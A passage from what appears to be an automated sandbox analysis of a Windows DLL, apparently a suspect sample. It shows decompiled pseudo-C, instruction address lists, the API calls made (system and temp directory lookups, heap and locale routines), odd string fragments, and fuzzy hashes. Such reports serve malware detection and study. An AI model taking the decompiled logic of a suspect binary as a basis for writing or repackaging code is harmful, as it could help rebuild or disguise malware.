					 *0x6ddd59d0 = _t375;
				}
				_t117 = _t396 + 7; // 0x7
				 *0x6ddd5a90 = _t117 + _t349 * 2;
				E6DD0FB4A(_t396, _t400, _t451);
				_t350 =  *0x6ddd5a00; // 0x445197c0
				_t303 = 0x6ddd5ac8;
				_t372 =  *0x6ddd59d8; // 0xe01606d4
				do {
					_t452 = _t396 -  *0x6ddd5a18; // 0x4c
					if(_t452 != 0) {
						L80:
						_t120 = _t396 + 5; // 0x5
						 *0x6ddd59dc = 0;
						_t372 = _t120 + _t350;
						 *_t303 =  *_t303 + _t396;
						 *0x6ddd59d8 = _t372;
						asm("adc [ecx+0x4], eax");
						_t122 = _t396 + 0x3b; // 0x3b
						_t350 = _t122 + _t350 + _t372;
						 *0x6ddd5a00 = _t350;
					} else {
						_t453 = 0 -  *0x6ddd5a1c; // 0x0
						if(_t453 != 0) {
							goto L80;
						}
					}
					_t303 = _t303 - 0x10;
				} while (_t303 > 0x6ddd5a18);
				_t222 =  *0x6ddd59dc; // 0x5
				_t456 = 0 - _t222;
				if(_t456 >= 0 && (_t456 > 0 || _t350 >= _t372)) {
					_push(0);
					_t354 = _t350 - _t372 * 0x3d - _t396;
					 *0x6ddd5a58 =  *0x6ddd5a58 - _t396;
					asm("sbb [0x6ddd5a5c], eax");
					 *0x6ddd5a00 = _t354;
					asm("sbb ecx, [0x6ddd59dc]");
					_t372 = _t354 - _t372 + _t396;
					 *0x6ddd59d8 = _t372;
					asm("adc ecx, eax");
					 *0x6ddd59dc = 0;
				}
				_t305 =  *0x6ddd5a90; // 0x40577270
				_t306 =  *0x6ddd59d0; // 0x40594d09
				 *0x6ddd59d0 = _t306 + 0x3d + _t372 + _t305 * 2;
				return E6DD30075(1);
			}

0x6dd11285
0x6dd1128c
0x6dd11291
0x6dd11297
0x6dd112a2
0x6dd112aa
0x6dd112b2
0x6dd112b8
0x6dd112ba
0x6dd112c0
0x6dd112c3
0x6dd112c5
0x6dd112c8
0x6dd112cb
0x6dd112d6
0x6dd112da
0x6dd112e0
0x6dd112ec
0x6dd112f2
0x6dd112f9
0x6dd112ff
0x6dd11302
0x6dd11308
0x6dd1130e
0x6dd11310
0x6dd11310
0x6dd1131d
0x6dd11320
0x6dd11325
0x6dd11328
0x6dd1132b
0x6dd1132e
0x00000000
0x6dd11330
0x6dd11334
0x6dd11338
0x6dd1133d
0x6dd1133f
0x6dd1134b
0x6dd1134d
0x6dd11353
0x6dd11359
0x6dd11361
0x6dd11363
0x00000000
0x6dd11363
0x6dd11361
0x00000000
0x6dd11366
0x6dd11366
0x6dd11369
0x6dd1136c
0x6dd11375
0x6dd11378
0x6dd1137e
0x6dd11390
0x6dd11397
0x6dd11397
0x6dd11399
0x6dd1139f
0x6dd113a2
0x6dd113a4
0x6dd11380
0x6dd11380
0x6dd11386
0x00000000
0x6dd11388
0x6dd11388
0x6dd11388
0x6dd11386
0x6dd113bf
0x6dd113c5
0x6dd113cb
0x6dd113d1
0x6dd113d9
0x6dd113e1
0x6dd113e6
0x6dd113eb
0x6dd113f2
0x6dd113f8
0x6dd113fb
0x6dd11401
0x6dd11403
0x00000000
0x6dd11405
0x6dd1140b
0x6dd11414
0x6dd11419
0x6dd1141b
0x6dd11421
0x6dd11424
0x6dd11426
0x6dd11432
0x6dd1143a
0x6dd1143c
0x6dd11442
0x00000000
0x6dd11442
0x6dd1143a
0x00000000
0x6dd11449
0x6dd11449
0x6dd1144c
0x6dd11463
0x6dd11468
0x6dd11473
0x6dd1147a
0x6dd11483
0x6dd11489
0x6dd1148b
0x6dd11491
0x6dd1149a
0x6dd114a3
0x6dd114a9
0x6dd114a9
0x6dd114b7
0x6dd114bc
0x6dd114bf
0x6dd114c4
0x6dd114c6
0x6dd114cb
0x6dd114d0
0x6dd114d2
0x6dd114d5
0x6dd114d8
0x6dd114df
0x6dd114e4
0x6dd114e7
0x6dd114ec
0x6dd114f2
0x6dd114f9
0x6dd114fa
0x6dd11501
0x6dd1151c
0x6dd11526
0x6dd11526
0x6dd1152c
0x6dd11503
0x6dd1150a
0x6dd11514
0x6dd11514
0x6dd11531
0x6dd11536
0x6dd1153b
0x6dd11544
0x6dd11545
0x6dd11545
0x6dd1154b
0x6dd11551
0x6dd11558
0x6dd11578
0x6dd1157e
0x6dd11586
0x6dd1158b
0x6dd1158b
0x6dd1158d
0x6dd1155a
0x6dd1155a
0x6dd11565
0x6dd11570
0x6dd11570
0x6dd11593
0x6dd11594
0x6dd11595
0x6dd115bc
0x6dd115c1
0x6dd115c7
0x6dd115cc
0x6dd115d2
0x6dd115d8
0x6dd115e1
0x6dd115e3
0x6dd115e6
0x6dd115e9
0x6dd115eb
0x6dd115f5
0x6dd115f7
0x6dd115fa
0x6dd115fa
0x6dd115fc
0x6dd115ff
0x6dd11607
0x6dd1160c
0x6dd11612
0x6dd11618
0x6dd11620
0x6dd11623
0x6dd11629
0x6dd11644
0x6dd1164e
0x6dd11654
0x6dd1162b
0x6dd1162b
0x6dd11631
0x00000000
0x6dd11633
0x6dd11633
0x6dd1163d
0x6dd1163d
0x6dd11631
0x6dd11664
0x6dd11667
0x6dd1166a
0x6dd1166f
0x6dd11671
0x6dd11674
0x6dd1167b
0x6dd1167e
0x6dd11683
0x6dd1168a
0x6dd1168f
0x6dd11695
0x6dd1169c
0x6dd1169d
0x6dd116a2
0x6dd116a5
0x6dd116aa
0x6dd116ac
0x6dd116b6
0x6dd116bb
0x6dd116bd
0x6dd116c0
0x6dd116c3
0x6dd116c8
0x6dd116cd
0x6dd116d4
0x6dd116d9
0x6dd116df
0x6dd116eb
0x6dd116f6
0x6dd116f9
0x6dd11707
0x6dd1170e
0x6dd11715
0x6dd1171a
0x6dd11720
0x6dd11725
0x6dd1172e
0x6dd11733
0x6dd11737
0x6dd1173e
0x6dd11748
0x6dd1174a
0x6dd1174d
0x6dd11753
0x6dd11755
0x6dd11758
0x6dd1175d
0x6dd11763
0x00000000
0x6dd11765
0x6dd11765
0x6dd1176b
0x00000000
0x00000000
0x6dd1176b
0x6dd11740
0x6dd11740
0x6dd11746
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd11746
0x00000000
0x6dd1176d
0x6dd1176d
0x6dd11770
0x6dd1177a
0x6dd1177f
0x6dd11785
0x6dd1178d
0x6dd11790
0x6dd11793
0x6dd11799
0x6dd117a2
0x6dd117ad
0x6dd117b4
0x6dd117b7
0x6dd117c3
0x6dd117c6
0x6dd117cc
0x6dd117e9
0x6dd117f0
0x6dd117f0
0x6dd117f3
0x6dd117f6
0x6dd117f8
0x6dd117ce
0x6dd117d1
0x6dd117d1
0x6dd117d9
0x6dd117e4
0x6dd117e4
0x6dd117fe
0x6dd11801
0x6dd11806
0x6dd11809
0x6dd1180c
0x6dd1180f
0x6dd11812
0x6dd11878
0x00000000
0x6dd11814
0x6dd1181b
0x6dd1181f
0x6dd11824
0x6dd11827
0x6dd11830
0x6dd11836
0x6dd11838
0x6dd11840
0x6dd11842
0x00000000
0x6dd11842
0x6dd11840
0x00000000
0x6dd11845
0x6dd11845
0x6dd11848
0x6dd1184b
0x6dd11854
0x6dd11855
0x6dd11858
0x6dd1185b
0x6dd11861
0x6dd1187d
0x6dd11884
0x6dd11889
0x6dd11889
0x6dd1188c
0x6dd1188e
0x6dd11863
0x6dd11865
0x6dd1186b
0x00000000
0x6dd1186d
0x6dd1186d
0x6dd11870
0x6dd11870
0x6dd11870
0x6dd1186b
0x6dd11891
0x6dd11897
0x6dd118b1
0x6dd11899
0x6dd11899
0x6dd118a5
0x6dd118a7
0x6dd118ad
0x6dd118ad
0x6dd118b6
0x6dd118c2
0x6dd118c2
0x6dd118c5
0x6dd118c7
0x6dd118ca
0x6dd118cc
0x6dd118d2
0x6dd118d8
0x6dd118e1
0x6dd118e9
0x6dd118eb
0x6dd118ed
0x6dd118f3
0x6dd118fb
0x6dd118fe
0x6dd11900
0x6dd11906
0x6dd11906
0x6dd1190f
0x6dd11912
0x6dd11915
0x6dd1191c
0x6dd1191f
0x6dd11924
0x6dd11927
0x6dd1192e
0x6dd11931
0x6dd11931
0x6dd11935
0x00000000
0x6dd11937
0x6dd11941
0x6dd11944
0x6dd11946
0x6dd11955
0x6dd11957
0x6dd1195a
0x00000000
0x6dd1195a
0x6dd11955
0x00000000
0x6dd11961
0x6dd11961
0x6dd11964
0x6dd11967
0x6dd1196e
0x6dd11975
0x6dd1197a
0x6dd1197f
0x6dd11985
0x6dd11988
0x6dd1198a
0x6dd1198f
0x6dd11993
0x6dd11995
0x6dd11998
0x6dd1199f
0x6dd1199f
0x6dd119a1
0x6dd119a9
0x6dd119ab
0x6dd119b1
0x6dd119b8
0x6dd119eb
0x6dd119ba
0x6dd119c4
0x6dd119c9
0x6dd119d2
0x6dd119d5
0x6dd119d7
0x6dd119dd
0x6dd119e3
0x6dd119e3
0x6dd119ee
0x6dd119f3
0x6dd119fc
0x6dd119fe
0x6dd11a01
0x6dd11a04
0x6dd11a04
0x6dd11a07
0x6dd11a0a
0x6dd11a0a
0x6dd11a0c
0x6dd11a0f
0x6dd11a11
0x6dd11a19
0x6dd11a1e
0x6dd11a1f
0x6dd11a25
0x6dd11a2c
0x6dd11a31
0x6dd11a31
0x6dd11a33
0x6dd11a33
0x6dd11a39
0x6dd11a41
0x6dd11a46
0x6dd11a4b
0x6dd11a51
0x6dd11a56
0x6dd11a5c
0x6dd11a5e
0x6dd11a64
0x6dd11a6e
0x6dd11a6e
0x6dd11a71
0x6dd11a76
0x6dd11a78
0x6dd11a7a
0x6dd11a80
0x6dd11a86
0x6dd11a89
0x6dd11a8b
0x6dd11a66
0x6dd11a66
0x6dd11a6c
0x00000000
0x00000000
0x6dd11a6c
0x6dd11a91
0x6dd11a94
0x6dd11a9c
0x6dd11aa3
0x6dd11aa5
0x6dd11ab0
0x6dd11ab4
0x6dd11ab6
0x6dd11abd
0x6dd11ac5
0x6dd11acf
0x6dd11ad5
0x6dd11ad7
0x6dd11add
0x6dd11adf
0x6dd11adf
0x6dd11ae5
0x6dd11af0
0x6dd11afc
0x6dd11b07

APIs

__EH_prolog3.LIBCMT ref: 6DD1128C
GetSystemDirectoryA.KERNEL32 ref: 6DD113C5
GetTempPathA.KERNEL32(0000056D,C:\Users\user\AppData\Local\Temp\,?,6DD2FF71,?,00000001,?,?,00000001,?,6DDD27E0,0000000C,6DD3006E,?,00000001,?), ref: 6DD11468

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 6DD11459
Molecul, xrefs: 6DD1167E
part , xrefs: 6DD115B5
Ea, xrefs: 6DD11320, 6DD11337, 6DD113E1, 6DD117B7, 6DD11801, 6DD1181E, 6DD1191F
yPD, xrefs: 6DD118C2, 6DD117D1
out drop , xrefs: 6DD116C8
Had s, xrefs: 6DD114DF
prW@, xrefs: 6DD11291, 6DD112BA, 6DD11359, 6DD113E6, 6DD11432, 6DD11483, 6DD1148B, 6DD1152C, 6DD1154B, 6DD11570, 6DD115EB, 6DD1166A, 6DD1171A, 6DD1177F, 6DD11838, 6DD118A7, 6DD118ED, 6DD11946, 6DD1197F, 6DD11A41, 6DD11AE5
6623, xrefs: 6DD116B1
C:\Windows\system32, xrefs: 6DD113B2
cd Matter m, xrefs: 6DD11607
cd Island, xrefs: 6DD11531
6265, xrefs: 6DD114CB

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: DirectoryH_prolog3PathSystemTemp
String ID: 6265$6623$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$Ea$Had s$Molecul$cd Island$cd Matter m$out drop $part $prW@$yPD
API String ID: 3607090873-2041373892
Opcode ID: c4f59b7eeac69f6c4612c84a27417c984cd53222d7a4e37cde31d005a6275755
Instruction ID: 6c2ea85273c1116974e3af45f9b89c829ee5c7761d177ea6f82fe7f09f8c48cf
Opcode Fuzzy Hash: c4f59b7eeac69f6c4612c84a27417c984cd53222d7a4e37cde31d005a6275755
Instruction Fuzzy Hash: 65326871A05222CFEF18EF68D8817797BB1FB8B324B65812BE415DB785E730A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6DD523DD, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E6DD523DD(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, char _a8) {
				signed int _v8;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char* _v44;
				char _v48;
				void* __ecx;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t72;
				signed int _t75;
				intOrPtr _t76;
				signed int _t79;
				signed int _t86;
				intOrPtr _t88;
				signed int _t99;
				void* _t101;
				void* _t103;
				void* _t108;
				signed int _t112;
				signed int _t113;
				signed int _t116;
				void* _t120;
				signed int _t123;
				signed int _t125;
				intOrPtr _t126;
				signed int _t128;
				intOrPtr _t130;
				signed int _t131;
				void* _t135;
				void* _t136;
				void* _t138;

				_t120 = __edx;
				_t97 = __ebx;
				_push(_t101);
				if(_a8 != 0) {
					_push(__esi);
					_push(__edi);
					_t123 = 0;
					_t67 = E6DD64E0A( &_v8, 0, 0, _a8, 0x7fffffff);
					_t136 = _t135 + 0x14;
					__eflags = _t67;
					if(_t67 == 0) {
						L5:
						_t128 = E6DD5C7EF(_t101, _v8, 2);
						_pop(_t103);
						__eflags = _t128;
						if(_t128 == 0) {
							L11:
							E6DD5CBD3(_t128);
							_t70 = _t123;
							goto L12;
						} else {
							_t71 = E6DD64E0A(_t123, _t128, _v8, _a8, 0xffffffff);
							_t136 = _t136 + 0x14;
							__eflags = _t71;
							if(_t71 == 0) {
								_t72 = E6DD5E486(_t97, _t103, _a4, _t128); // executed
								_t123 = _t72;
								goto L11;
							} else {
								__eflags = _t71 - 0x16;
								if(_t71 == 0x16) {
									goto L13;
								} else {
									__eflags = _t71 - 0x22;
									if(_t71 != 0x22) {
										goto L11;
									} else {
										goto L13;
									}
								}
							}
						}
					} else {
						__eflags = _t67 - 0x16;
						if(_t67 == 0x16) {
							L13:
							_push(_t123);
							_push(_t123);
							_push(_t123);
							_push(_t123);
							E6DD52188();
							asm("int3");
							E6DD30990(_t97, _t123, 0x6ddd2bc0, 0x1c);
							_t9 =  &_a8; // 0x445079e2
							_t130 = _a4;
							_t75 = E6DD523DD(_t97, _t120, _t123, _t130, _t130,  *_t9); // executed
							_t108 = _t123;
							_t125 = _t75;
							__eflags = _t125;
							if(_t125 != 0) {
								_t76 = E6DD5D5FF(_t97, _t108, _t120);
								_v40 = _t76;
								_v48 =  *((intOrPtr*)(_t76 + 0x4c));
								_t110 =  *((intOrPtr*)(_t76 + 0x48));
								_v44 =  *((intOrPtr*)(_t76 + 0x48));
								_v32 = 0;
								_t79 = E6DD650ED( *((intOrPtr*)(_t76 + 0x48)),  &_v32, 0, 0, _t125, 0,  &_v48);
								_t138 = _t136 + 0x18;
								__eflags = _t79;
								if(_t79 == 0) {
									L22:
									_t99 = E6DD5F26D(_t110, _v32 + 4);
									__eflags = _t99;
									if(_t99 == 0) {
										goto L15;
									} else {
										_t20 = _t99 + 4; // 0x4
										_v36 = _t20;
										_t110 =  &_v48;
										_t125 = 0;
										_t86 = E6DD650ED( &_v48, 0, _t20, _v32, 0, 0xffffffff,  &_v48);
										_t138 = _t138 + 0x18;
										__eflags = _t86;
										if(_t86 == 0) {
											L29:
											_t126 = _v48;
											E6DD52361(4);
											_pop(_t112);
											_v8 = _v8 & 0x00000000;
											_t131 = _t130 + _t130;
											_t113 = _t112 | 0xffffffff;
											__eflags =  *(_t126 + 0x24 + _t131 * 8);
											if(__eflags != 0) {
												asm("lock xadd [edx], eax");
												if(__eflags == 0) {
													E6DD5CBD3( *(_t126 + 0x24 + _t131 * 8));
													_pop(_t116);
													 *(_t126 + 0x24 + _t131 * 8) =  *(_t126 + 0x24 + _t131 * 8) & 0x00000000;
													_t113 = _t116 | 0xffffffff;
													__eflags = _t113;
												}
											}
											_t88 = _v40;
											__eflags =  *(_t88 + 0x350) & 0x00000002;
											if(( *(_t88 + 0x350) & 0x00000002) == 0) {
												__eflags =  *0x6ddd52ec & 0x00000001;
												if(( *0x6ddd52ec & 0x00000001) == 0) {
													__eflags =  *(_t126 + 0x24 + _t131 * 8);
													if( *(_t126 + 0x24 + _t131 * 8) != 0) {
														asm("lock xadd [eax], ecx");
														__eflags = _t113 == 1;
														if(_t113 == 1) {
															E6DD5CBD3( *(_t126 + 0x24 + _t131 * 8));
															_t51 = _t126 + 0x24 + _t131 * 8;
															 *_t51 =  *(_t126 + 0x24 + _t131 * 8) & 0x00000000;
															__eflags =  *_t51;
														}
													}
												}
											}
											 *_t99 =  *((intOrPtr*)(_t126 + 0xc));
											 *(_t126 + 0x24 + _t131 * 8) = _t99;
											 *((intOrPtr*)(_t126 + 0x1c + _t131 * 8)) = _v36;
											_v8 = 0xfffffffe;
											E6DD525CE();
										} else {
											__eflags = _t86 - 0x16;
											if(_t86 == 0x16) {
												L26:
												_push(_t125);
												_push(_t125);
												_push(_t125);
												_push(_t125);
												_push(_t125);
												goto L20;
											} else {
												__eflags = _t86 - 0x22;
												if(_t86 != 0x22) {
													__eflags = _t86;
													if(_t86 == 0) {
														goto L29;
													} else {
														E6DD5CBD3(_t99);
														goto L15;
													}
												} else {
													goto L26;
												}
											}
										}
									}
								} else {
									__eflags = _t79 - 0x16;
									if(_t79 == 0x16) {
										L19:
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										L20:
										_t79 = E6DD52188();
									} else {
										__eflags = _t79 - 0x22;
										if(_t79 == 0x22) {
											goto L19;
										}
									}
									__eflags = _t79;
									if(_t79 != 0) {
										goto L15;
									} else {
										goto L22;
									}
								}
							} else {
								L15:
							}
							return E6DD309D6();
						} else {
							__eflags = _t67 - 0x22;
							if(_t67 == 0x22) {
								goto L13;
							} else {
								goto L5;
							}
						}
					}
				} else {
					_t70 = E6DD5E486(__ebx, _t101, _a4, 0);
					L12:
					return _t70;
				}
			}

0x6dd523dd
0x6dd523dd
0x6dd523e2
0x6dd523e7
0x6dd523f7
0x6dd523f8
0x6dd52401
0x6dd52409
0x6dd5240e
0x6dd52411
0x6dd52413
0x6dd5241f
0x6dd52429
0x6dd5242c
0x6dd5242d
0x6dd5242f
0x6dd52460
0x6dd52461
0x6dd52467
0x00000000
0x6dd52431
0x6dd5243b
0x6dd52440
0x6dd52443
0x6dd52445
0x6dd52457
0x6dd5245e
0x00000000
0x6dd52447
0x6dd52447
0x6dd5244a
0x00000000
0x6dd5244c
0x6dd5244c
0x6dd5244f
0x00000000
0x6dd52451
0x00000000
0x6dd52451
0x6dd5244f
0x6dd5244a
0x6dd52445
0x6dd52415
0x6dd52415
0x6dd52418
0x6dd5246f
0x6dd5246f
0x6dd52470
0x6dd52471
0x6dd52472
0x6dd52474
0x6dd52479
0x6dd52481
0x6dd52486
0x6dd52489
0x6dd5248d
0x6dd52493
0x6dd52494
0x6dd52496
0x6dd52498
0x6dd524a1
0x6dd524a6
0x6dd524ac
0x6dd524af
0x6dd524b2
0x6dd524b7
0x6dd524c6
0x6dd524cb
0x6dd524ce
0x6dd524d0
0x6dd524ea
0x6dd524f7
0x6dd524f9
0x6dd524fb
0x00000000
0x6dd524fd
0x6dd524fd
0x6dd52500
0x6dd52503
0x6dd5250e
0x6dd52511
0x6dd52516
0x6dd52519
0x6dd5251b
0x6dd5253e
0x6dd5253e
0x6dd52543
0x6dd52548
0x6dd52549
0x6dd5254d
0x6dd52553
0x6dd52556
0x6dd52558
0x6dd5255c
0x6dd52560
0x6dd52566
0x6dd5256b
0x6dd5256c
0x6dd52571
0x6dd52571
0x6dd52571
0x6dd52560
0x6dd52574
0x6dd52577
0x6dd5257e
0x6dd52580
0x6dd52587
0x6dd5258d
0x6dd5258f
0x6dd52591
0x6dd52595
0x6dd52596
0x6dd5259c
0x6dd525a2
0x6dd525a2
0x6dd525a2
0x6dd525a2
0x6dd52596
0x6dd5258f
0x6dd52587
0x6dd525aa
0x6dd525ac
0x6dd525b3
0x6dd525b7
0x6dd525be
0x6dd5251d
0x6dd5251d
0x6dd52520
0x6dd52527
0x6dd52527
0x6dd52528
0x6dd52529
0x6dd5252a
0x6dd5252b
0x00000000
0x6dd52522
0x6dd52522
0x6dd52525
0x6dd5252e
0x6dd52530
0x00000000
0x6dd52532
0x6dd52533
0x00000000
0x6dd52538
0x00000000
0x00000000
0x00000000
0x6dd52525
0x6dd52520
0x6dd5251b
0x6dd524d2
0x6dd524d2
0x6dd524d5
0x6dd524dc
0x6dd524dc
0x6dd524dd
0x6dd524de
0x6dd524df
0x6dd524e0
0x6dd524e1
0x6dd524e1
0x6dd524d7
0x6dd524d7
0x6dd524da
0x00000000
0x00000000
0x6dd524da
0x6dd524e6
0x6dd524e8
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd524e8
0x6dd5249a
0x6dd5249a
0x6dd5249a
0x6dd525ca
0x6dd5241a
0x6dd5241a
0x6dd5241d
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd5241d
0x6dd52418
0x6dd523e9
0x6dd523ee
0x6dd5246b
0x6dd5246e
0x6dd5246e

APIs

__cftoe.LIBCMT ref: 6DD52409
__cftoe.LIBCMT ref: 6DD5243B

Strings

yPD, xrefs: 6DD52486, 6DD523DF

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: __cftoe
String ID: yPD
API String ID: 4189289331-3145042548
Opcode ID: dd76d121bb84dcd3298dbbcf91c54abd0f0f4a1ca39260394c1dcc50ec0af35a
Instruction ID: 1b8b4a864a7d9128e4ec75027ffe3e012ea03a9573ba1d772475ca899412a4ef
Opcode Fuzzy Hash: dd76d121bb84dcd3298dbbcf91c54abd0f0f4a1ca39260394c1dcc50ec0af35a
Instruction Fuzzy Hash: EF51C972908206EBDF25BB688C40F7E7FBDEF4A36CF114219F925A6182DB31D5248674

Uniqueness

Uniqueness Score: -1.00%

Function 6DD14A80, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E6DD14A80(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t23;
				intOrPtr* _t24;
				void* _t29;
				intOrPtr* _t57;
				intOrPtr* _t60;
				void* _t61;

				_t44 = __ebx;
				E6DD300AC(0x6dd78144, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t61 - 0x14, 0);
				 *(_t61 - 4) =  *(_t61 - 4) & 0x00000000;
				_t57 =  *0x6ddece80; // 0x6253d0
				 *((intOrPtr*)(_t61 - 0x10)) = _t57;
				_t23 = E6DCF161C(0x6ddd6b34);
				_t47 =  *((intOrPtr*)(_t61 + 8));
				_t24 = E6DCF171B( *((intOrPtr*)(_t61 + 8)), _t23);
				_t59 = _t24;
				if(_t24 != 0) {
					L5:
					E6DD166BA(_t61 - 0x14);
					return E6DD30075(_t59);
				} else {
					if(_t57 == 0) {
						_push( *((intOrPtr*)(_t61 + 8)));
						_push(_t61 - 0x10); // executed
						_t29 = E6DCF18A0(__ebx, _t47, __edx, _t57, _t59); // executed
						__eflags = _t29 - 0xffffffff;
						if(__eflags == 0) {
							_t13 = _t61 - 0x20; // 0x40594d09
							E6DCF1438(_t13);
							_t14 = _t61 - 0x20; // 0x40594d09
							E6DD33D74(_t14, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd78192, __ebx, _t57, _t59, 0xc);
							_t60 = E6DD14A32(_t44, _t57, _t59, 8);
							 *((intOrPtr*)(_t61 - 0x18)) = _t61 - 0xd;
							 *((intOrPtr*)(_t61 - 0x14)) = _t60;
							__eflags = 0;
							 *(_t61 - 4) = 0;
							 *_t60 = 0;
							 *((intOrPtr*)(_t60 + 4)) = 0;
							 *_t60 = E6DD15BFB();
							return E6DD30075(_t60);
						} else {
							_t59 =  *((intOrPtr*)(_t61 - 0x10));
							 *((intOrPtr*)(_t61 - 0x10)) = _t59;
							 *(_t61 - 4) = 1;
							E6DD16FD3(__eflags, _t59);
							 *((intOrPtr*)( *_t59 + 4))();
							 *0x6ddece80 = _t59;
							goto L5;
						}
					} else {
						_t59 = _t57;
						goto L5;
					}
				}
			}

0x6dd14a80
0x6dd14a87
0x6dd14a91
0x6dd14a96
0x6dd14a9f
0x6dd14aa5
0x6dd14aa8
0x6dd14aad
0x6dd14ab1
0x6dd14ab6
0x6dd14aba
0x6dd14af5
0x6dd14af8
0x6dd14b04
0x6dd14abc
0x6dd14abe
0x6dd14ac4
0x6dd14aca
0x6dd14acb
0x6dd14ad2
0x6dd14ad5
0x6dd14b05
0x6dd14b08
0x6dd14b12
0x6dd14b16
0x6dd14b1b
0x6dd14b23
0x6dd14b2f
0x6dd14b35
0x6dd14b38
0x6dd14b3b
0x6dd14b3d
0x6dd14b40
0x6dd14b42
0x6dd14b4a
0x6dd14b53
0x6dd14ad7
0x6dd14ad7
0x6dd14ada
0x6dd14ade
0x6dd14ae2
0x6dd14aec
0x6dd14aef
0x00000000
0x6dd14aef
0x6dd14ac0
0x6dd14ac0
0x00000000
0x6dd14ac0
0x6dd14abe

APIs

__EH_prolog3.LIBCMT ref: 6DD14A87
std::_Lockit::_Lockit.LIBCPMT ref: 6DD14A91
int.LIBCPMT ref: 6DD14AA8

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD14AE2
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD14AF8
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD14B16

Strings

MY@yPD, xrefs: 6DD14B05, 6DD14B12, 6DD14B15

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID: MY@yPD
API String ID: 651022567-882315695
Opcode ID: 038527d535bae5633edf3df780dcb6de4f8d65084165f9e08bb2a86ab2e1f870
Instruction ID: fff7dc6af79bbaaf29e2f13452ac5b708e28430b54e2bbc6c219701867e6a3f6
Opcode Fuzzy Hash: 038527d535bae5633edf3df780dcb6de4f8d65084165f9e08bb2a86ab2e1f870
Instruction Fuzzy Hash: 9511CE728082299BCF10FBA8DC40AFD7770EF44728F170518F620AB280EB719A05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5E506, Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5F26D: RtlAllocateHeap.NTDLL(00000000,6DD175D9,00000000,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9,00000004,00000000,00000000,00000000), ref: 6DD5F29F

_free.LIBCMT ref: 6DD5E611
_free.LIBCMT ref: 6DD5E628
_free.LIBCMT ref: 6DD5E647
_free.LIBCMT ref: 6DD5E662
_free.LIBCMT ref: 6DD5E679

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 783d9e40f0be92d09b2d9459d176f67ec1cb828579ee5b4aaa7587b38ddc4a70
Instruction ID: ef927c48890edd349445263fd0dba13397f78247183d27d12909ee251f086eb0
Opcode Fuzzy Hash: 783d9e40f0be92d09b2d9459d176f67ec1cb828579ee5b4aaa7587b38ddc4a70
Instruction Fuzzy Hash: 9F51DF32A04205EFDF11FF29C840A7AB3F5EF45764F004A69F909D7251E731E9218B90

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF18A0, Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DCF18A7
std::_Locinfo::_Locinfo.LIBCPMT ref: 6DCF18D5

